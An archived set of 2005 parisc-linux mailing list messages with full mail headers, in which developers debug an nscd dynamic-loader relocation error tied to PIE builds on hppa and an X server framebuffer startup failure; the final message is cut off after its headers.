NNTP-Posting-Date: Sat, 22 Nov 2014 02:39:22 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:27 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 26 Dec 2005 21:47:29 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx014) with SMTP; 26 Dec 2005 22:47:29 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E3D787D653;
	Mon, 26 Dec 2005 14:47:25 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 28537-08; Mon, 26 Dec 2005 14:47:25 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0F2897D658;
	Mon, 26 Dec 2005 14:47:25 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B1F1D7D652
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 26 Dec 2005 14:47:22 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 28574-02 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 26 Dec 2005 14:47:22 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 103097D651
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 26 Dec 2005 14:47:22 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	jBQLlKil018325 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 26 Dec 2005 16:47:20 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id jBQLlKKP018323
	for parisc-linux@lists.parisc-linux.org;
	Mon, 26 Dec 2005 16:47:20 -0500 (EST)
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: pQHCY+UFeSEkfL6WZHQhaXN1IGRvb8AW
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23280

I'm seeing the following error in the boot log:

Fri Nov 25 04:59:01 2005: Starting Name Service Cache Daemon: nscd/usr/sbin/nscd
: error while loading shared libraries: unexpected reloc type 0x42
Fri Nov 25 04:59:02 2005: .

I think this is a R_PARISC_PLABEL21L reloc.  GCC doesn't generate these.
So they must come from an asm or assembly code.  I think libc used this
reloc for loading the address of the function descriptor of main.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:11 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: nscd: error while loading shared libraries:
	unexpected reloc type 0x42
Date: Mon, 26 Dec 2005 16:54:42 -0500 (EST)
Lines: 25
Approved: news@gmane.org
Message-ID: <200512262154.jBQLshmK018411@hiauly1.hia.nrc.ca>
References: <no.id>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623962 17478 80.91.229.3 (22 Nov 2014 02:39:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:39:22 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: dave@hiauly1.hia.nrc.ca (John David Anglin)
Original-X-From: - Wed Jul 02 21:27:27 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 26 Dec 2005 21:54:54 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx077) with SMTP; 26 Dec 2005 22:54:54 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5A1577D66F;
	Mon, 26 Dec 2005 14:54:51 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 28793-05; Mon, 26 Dec 2005 14:54:51 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 89E827D661;
	Mon, 26 Dec 2005 14:54:50 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 598947D652
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 26 Dec 2005 14:54:47 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 28574-09 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 26 Dec 2005 14:54:46 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id A77C77D651
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 26 Dec 2005 14:54:46 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	jBQLshil018412; Mon, 26 Dec 2005 16:54:43 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id jBQLshmK018411;
	Mon, 26 Dec 2005 16:54:43 -0500 (EST)
In-Reply-To: <no.id> from "John David Anglin" at Dec 26, 2005 04:47:19 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: +QPCY0U+eSEkP76WZHQhaXN1IGRvb4AA
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23281

> So they must come from an asm or assembly code.  I think libc used this
> reloc for loading the address of the function descriptor of main.

objdump -R nscd
...
00005970 R_PARISC_PLABEL21L  main
00005974 R_PARISC_PLABEL14R  main
00005980 R_PARISC_PLABEL21L  __libc_csu_init
00005984 R_PARISC_PLABEL14R  __libc_csu_init
00005988 R_PARISC_PLABEL21L  __libc_csu_fini
0000598c R_PARISC_PLABEL14R  __libc_csu_fini

If I recall correctly, there was a dynamic loader fix to handle these
relocations.  However, it doesn't seem to be in libc6 2.3.5-8.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] X startup failure
Date: Tue, 27 Dec 2005 08:29:31 +0100
Lines: 21
Approved: news@gmane.org
Message-ID: <200512270829.31463.deller@gmx.de>
References: <200512262134.jBQLYo4v018267@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623962 17483 80.91.229.3 (22 Nov 2014 02:39:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:39:22 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:27 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 27 Dec 2005 07:29:48 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx005) with SMTP; 27 Dec 2005 08:29:48 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id AAC187D67C;
	Tue, 27 Dec 2005 00:29:44 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 31749-02; Tue, 27 Dec 2005 00:29:44 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7F09B7D67D;
	Tue, 27 Dec 2005 00:29:43 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8AFC97D678
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 27 Dec 2005 00:29:40 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 31116-09 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 27 Dec 2005 00:29:40 -0700 (MST)
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.21])
	by free.linux.hp.com (Postfix) with SMTP id 873687D675
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 27 Dec 2005 00:29:39 -0700 (MST)
Original-Received: (qmail invoked by alias); 27 Dec 2005 07:29:35 -0000
Original-Received: from p54AD0FB2.dip0.t-ipconnect.de (EHLO ls-cups.box) [84.173.15.178]
	by mail.gmx.net (mp035) with SMTP; 27 Dec 2005 08:29:35 +0100
X-Authenticated: #1045983
User-Agent: KMail/1.9.1
In-Reply-To: <200512262134.jBQLYo4v018267@hiauly1.hia.nrc.ca>
X-Face: *4/{KL3=jWs!v\UO#3e7~Vb1~CL@oP'~|*/M$!9`tb2[;
	fY@)WscF2iV7`,a$141g'o,=?utf-8?q?7X=0A=09=3FBt1Wb=3AL7K6z-?=<?-+-13|S_ixrq58*E`)ZkSe~NSI?u=89G'J<n]7\?[)LCCBZc}~[j(=?utf-8?q?e=7D=0A=09=60-QV=7B=23=25=26=5B=3F=5EfAke6t8QbP=3Bb=27XB?=,ZU84HeThMrO(@/K.`jxq9P({V(AzezCKMxk\F2^p^+"=?utf-8?q?=0A=09=5B?="ppalbA!zy-l)^Qa3*u/Z-1W3,o?2fes2_d\u=1\E9N+~Qo
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: O4jCY3UIeSEkd76WZHQhaXN1IGRvbwBR
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23282

Hi Dave,

On Monday 26 December 2005 22:34, John David Anglin wrote:
> X no longer starts on my c3k using unstable.  The problem seems
> to be:
> 
> (EE) FBDEV(0): FBIOPAN_DISPLAY: Invalid argument
> 
> XF86Config-4 hasn't changed for at least a year.  Any ideas?

I assume your screen resolution changed. 
Maybe new monitor/setup or different graphic card is detected first ?
Try fbset to get the current screen resolution.

Helge
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] X startup failure
Date: Tue, 27 Dec 2005 09:37:59 -0500 (EST)
Lines: 72
Approved: news@gmane.org
Message-ID: <200512271437.jBREbxA8021653@hiauly1.hia.nrc.ca>
References: <200512270829.31463.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623962 17486 80.91.229.3 (22 Nov 2014 02:39:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:39:22 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: deller@gmx.de (Helge Deller)
Original-X-From: - Wed Jul 02 21:27:27 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <dave@hiauly1.hia.nrc.ca>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 27 Dec 2005 14:38:02 -0000
Original-Received: from hiauly1.hia.nrc.ca (EHLO hiauly1.hia.nrc.ca) [132.246.100.193]
  by mx0.gmx.net (mx045) with SMTP; 27 Dec 2005 15:38:02 +0100
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be forged))
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id jBREbxil021654;
	Tue, 27 Dec 2005 09:38:00 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id jBREbxA8021653;
	Tue, 27 Dec 2005 09:37:59 -0500 (EST)
In-Reply-To: <200512270829.31463.deller@gmx.de> from "Helge Deller" at Dec 27, 2005 08:29:31 am
X-Mailer: ELM [version 2.4 PL25]
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: nTTDY9tReSEkX76WZHQhaXN1IGRvb0Aa
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23283

Hi Helge,

> On Monday 26 December 2005 22:34, John David Anglin wrote:
> > X no longer starts on my c3k using unstable.  The problem seems
> > to be:
> > 
> > (EE) FBDEV(0): FBIOPAN_DISPLAY: Invalid argument
> > 
> > XF86Config-4 hasn't changed for at least a year.  Any ideas?
> 
> I assume your screen resolution changed. 

No.  I've had the following entries in XF86Config-4 since Sep 2003:

Section "Device"
        Identifier      "HP Visualize-EG"
	Driver          "fbdev"
	Option          "UseFBDev"              "true"
EndSection

Section "Monitor"
	Identifier      "NEC LCD1980SX"
	HorizSync       30-107
	VertRefresh     50-85
	Option          "DPMS"
EndSection

Section "Screen"
	Identifier      "Default Screen"
	Device          "HP Visualize-EG"
	Monitor         "NEC LCD1980SX"
	DefaultDepth    8
	SubSection "Display"
		Depth           8
		Modes           "1280x1024"
	EndSubSection
EndSection

> Maybe new monitor/setup or different graphic card is detected first ?

Possibly, the machine has two graphics cards.  However, the presence of
the A1262A never caused a problem before:

STI GSC/PCI core graphics driver Version 0.9a
STI PCI graphic ROM found at f6000000 (64 kB), fb at f8000000 (32 MB)
    id 2d08c0a7-9a02587, conforms to spec rev. 8.0a
    graphics card name: PCI_GRAFFITIX1280
STI PCI graphic ROM found at f7000000 (2048 kB), fb at fa000000 (32 MB)
    id 35acda30-9a02587, conforms to spec rev. 8.0d
    graphics card name: A1262A
sticon: Initializing STI text console.
Console: switching to colour STI console 160x64
Console: switching to colour frame buffer device 160x64
fb0: stifb 1280x1024-8 frame buffer device, PCI_GRAFFITIX1280, id: 2d08c0a7, mmio: 0xf8100000
stifb: 'A1262A' (id: 0x35acda30) not supported.

> Try fbset to get the current screen resolution.

mode "1280x1024"
    geometry 1280 1024 1280 1024 8
    timings 0 0 0 0 0 0 0
    rgba 8/0,8/0,8/0,0/0
endmode

>From the above, it looks like the timings aren't beeing set.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)



From - Thu Nov 08 21:34:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mike Frysinger <vapier@gentoo.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] nscd: error while loading shared libraries:
Date: Tue, 27 Dec 2005 15:16:21 -0500
Organization: wh0rd.org
Lines: 35
Approved: news@gmane.org
Message-ID: <200512271516.21460.vapier@gentoo.org>
References: <200512271815.jBRIF1rH022390@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623963 17489 80.91.229.3 (22 Nov 2014 02:39:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:39:23 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:27 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 27 Dec 2005 20:16:31 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx056) with SMTP; 27 Dec 2005 21:16:31 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0D36A7D695;
	Tue, 27 Dec 2005 13:16:20 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 08968-10; Tue, 27 Dec 2005 13:16:19 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B06397D68D;
	Tue, 27 Dec 2005 13:16:18 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 535397D689
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 27 Dec 2005 13:16:15 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 08968-06 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 27 Dec 2005 13:16:14 -0700 (MST)
Original-Received: from smtp.gentoo.org (smtp.gentoo.org [134.68.220.30])
	by free.linux.hp.com (Postfix) with ESMTP id B5DB17D688
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 27 Dec 2005 13:16:14 -0700 (MST)
Original-Received: from localhost ([127.0.0.1] helo=home.wh0rd.org)
	by smtp.gentoo.org with esmtp (Exim 4.54) id 1ErLEx-0003LI-1Z
	for parisc-linux@lists.parisc-linux.org; Tue, 27 Dec 2005 20:16:11 +0000
Original-Received: (qmail 18365 invoked from network); 27 Dec 2005 15:15:35 -0500
Original-Received: from unknown (HELO vapier) (192.168.0.2)
	by 192.168.0.1 with SMTP; 27 Dec 2005 15:15:35 -0500
User-Agent: KMail/1.9
In-Reply-To: <200512271815.jBRIF1rH022390@hiauly1.hia.nrc.ca>
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: SMTDY1R2eSEkSr6WZHQhaXN1IGRvbwAF
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23284

On Tuesday 27 December 2005 13:15, John David Anglin wrote:
> > glibc will build nscd as a PIE by default ... and since PIE doesnt work
> > on parisc just yet, you see fun errors like the above
> >
> > here's the hack patch i wrote Gentoo/hppa:
> > http://viewcvs.gentoo.org/sys-libs/glibc/files/2.3.4/hppa-no-pie.patch
>
> As far as GCC goes on the PA, -fpie should be equivalent to -fpic and
> this should be ok for executables.  The main issue is the linker -pie
> support, and the corresponding libc and kernel (?) support needed for PIE.

i dont think you need kernel support for PIE ... unless i missed something, 
the two parts i thought needed to be done to make PIE work on hppa/linux was 
a proper Scrt1.o from glibc and to make sure no more relocations were 
generated by the linker that the dynamic loader cannot handle ... and the 
second part could be slightly ignored if glibc was patched up just right ...

> A small patch could be done to disable -fpie on the PA in GCC.  PIE is
> definitely not supported under hpux, so this seems like a good idea.  I
> could also kill the linker flag.

PIE support may be novelty to some, but i (and Gentoo) certainly wouldnt mind 
having proper support for it :)

> However, it doesn't look like this will fix all the nscd/Makefile issues.

right ... when i last looked, glibc takes the approach that it will either 
generate PIE executables or it wont generate them at all
-mike
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bdale Garbee <bdale@gag.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Debian parisc boot CD maintainer
Date: Mon, 26 Dec 2005 17:42:34 -0700
Lines: 19
Approved: news@gmane.org
Message-ID: <87r77zgykl.fsf@rover.gag.com>
References: <43A89398.9080603@excelcia.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623963 17491 80.91.229.3 (22 Nov 2014 02:39:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:39:23 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: kfitzner@excelcia.org (Kurt Fitzner)
Original-X-From: - Wed Jul 02 21:27:27 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 27 Dec 2005 18:14:55 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx048) with SMTP; 27 Dec 2005 19:14:55 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5CB757D67F;
	Tue, 27 Dec 2005 11:14:50 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 08462-05; Tue, 27 Dec 2005 11:14:50 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9CB667D686;
	Tue, 27 Dec 2005 11:14:49 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id BA80A7D675
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 27 Dec 2005 11:14:47 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 08462-02 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 27 Dec 2005 11:14:47 -0700 (MST)
Original-Received: from winfree.gag.com (winfree.gag.com [192.133.104.8])
	by free.linux.hp.com (Postfix) with ESMTP id 2113F7D665
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 27 Dec 2005 11:14:47 -0700 (MST)
